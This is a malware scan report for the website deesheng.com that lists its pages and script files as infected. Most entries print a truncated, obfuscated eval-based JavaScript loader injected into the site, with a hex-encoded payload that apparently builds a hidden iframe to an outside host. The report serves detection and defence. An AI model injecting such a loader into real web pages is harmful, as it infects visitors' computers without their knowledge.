Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=deesheng.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://deesheng.com/ | 200 OK Content-Length: 29670 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["bod"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_70_7f_69_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_70_7f_69_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_70_7f_69_69_36_7b_7c_81_74_ Antivirus reports:
| ||
http://deesheng.com/script/jquery.min.js | 200 OK Content-Length: 61245 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["\x62od"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_77_72_75_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_77_72_75_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_77_72_75_36_7b_7c_81_74_6d_36_ Antivirus reports:
| ||
http://deesheng.com/script/droppy.js | 200 OK Content-Length: 5488 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["\x62od"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_77_72_75_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_77_72_75_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_77_72_75_36_7b_7c_81_74_6d_36_ Antivirus reports:
| ||
http://deesheng.com/script/thickbox.js | 200 OK Content-Length: 8687 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["\x62od"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_77_72_75_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_77_72_75_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_77_72_75_36_7b_7c_81_74_6d_36_ Antivirus reports:
| ||
http://deesheng.com/script/helper.js | 200 OK Content-Length: 14619 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["\x62od"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_77_72_75_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_77_72_75_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_77_72_75_36_7b_7c_81_74_6d_36_ Antivirus reports:
| ||
http://deesheng.com/script/png.js | 200 OK Content-Length: 6467 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["\x62od"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_77_72_75_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_77_72_75_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_77_72_75_36_7b_7c_81_74_6d_36_ Antivirus reports:
| ||
http://deesheng.com/script/picAutoZoom.js | 200 OK Content-Length: 4911 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["\x62od"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_77_72_75_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_77_72_75_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_77_72_75_36_7b_7c_81_74_6d_36_ Antivirus reports:
| ||
http://deesheng.com/index.php?_m=frontpage&_a=index | 200 OK Content-Length: 29670 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["bod"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_70_7f_69_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_70_7f_69_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_70_7f_69_69_36_7b_7c_81_74_ Antivirus reports:
| ||
http://deesheng.com/index.php?_m=mod_static&_a=view&sc_id=2 | 200 OK Content-Length: 21682 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["bod"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_70_7f_69_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_70_7f_69_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_70_7f_69_69_36_7b_7c_81_74_ Antivirus reports:
| ||
http://deesheng.com/index.php?_m=mod_article&_a=fullist | 200 OK Content-Length: 22832 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["bod"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_70_7f_69_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_70_7f_69_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_70_7f_69_69_36_7b_7c_81_74_ Antivirus reports:
| ||
http://deesheng.com/index.php?_m=mod_article&_a=fullist&caa_id=11 | 200 OK Content-Length: 21459 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["bod"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_70_7f_69_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_70_7f_69_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_70_7f_69_69_36_7b_7c_81_74_ Antivirus reports:
| ||
http://deesheng.com/index.php?_m=mod_product&_a=prdlist | 200 OK Content-Length: 28968 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["bod"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_70_7f_69_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_70_7f_69_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_70_7f_69_69_36_7b_7c_81_74_ Antivirus reports:
| ||
http://deesheng.com/script/jqzoom.js | 200 OK Content-Length: 7312 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["\x62od"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_77_72_75_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_77_72_75_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_77_72_75_36_7b_7c_81_74_6d_36_ Antivirus reports:
| ||
http://deesheng.com/index.php?_m=mod_product&_a=prdlist&cap_id=58 | 200 OK Content-Length: 28910 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["bod"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_70_7f_69_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_70_7f_69_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_70_7f_69_69_36_7b_7c_81_74_ Antivirus reports:
| ||
http://deesheng.com/index.php?_m=mod_product&_a=prdlist&cap_id=59 | 200 OK Content-Length: 27084 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="split";e=eval;v="0x";a=0;z="y";try{a*=25}catch(zz){a=1}if(!a){try{--e("doc"+"ument")["bod"+z]}catch(q){a2="_";sa=0xa-02;}z="28_6e_7d_76_6b_7c_71_77_76_28_82_82_82_6e_6e_6e_30_31_28_83_15_12_28_7e_69_7a_28_70_7f_69_69_28_45_28_6c_77_6b_7d_75_6d_76_7c_36_6b_7a_6d_69_7c_6d_4d_74_6d_75_6d_76_7c_30_2f_71_6e_7a_69_75_6d_2f_31_43_15_12_15_12_28_70_7f_69_69_36_7b_7a_6b_28_45_28_2f_70_7c_7c_78_42_37_37_6d_6b_77_74_71_75_71_7c_36_7a_7d_37_6b_76_7c_36_78_70_78_2f_43_15_12_28_70_7f_69_69_36_7b_7c_81_74_ Antivirus reports:
|
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: deesheng.com
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sat, 07 Jun 2014 16:37:07 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=je0ri0lk77boj62o67fllu85l7; path=/
GET / HTTP/1.1
Host: deesheng.com
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Sat, 07 Jun 2014 16:37:07 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=je0ri0lk77boj62o67fllu85l7; path=/
Second query (visit from search engine):
GET / HTTP/1.1
Host: deesheng.com
Referer: http://www.google.com/search?q=deesheng.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: deesheng.com
Referer: http://www.google.com/search?q=deesheng.com
Result:
The result is similar to the first query. There are no suspicious redirects found.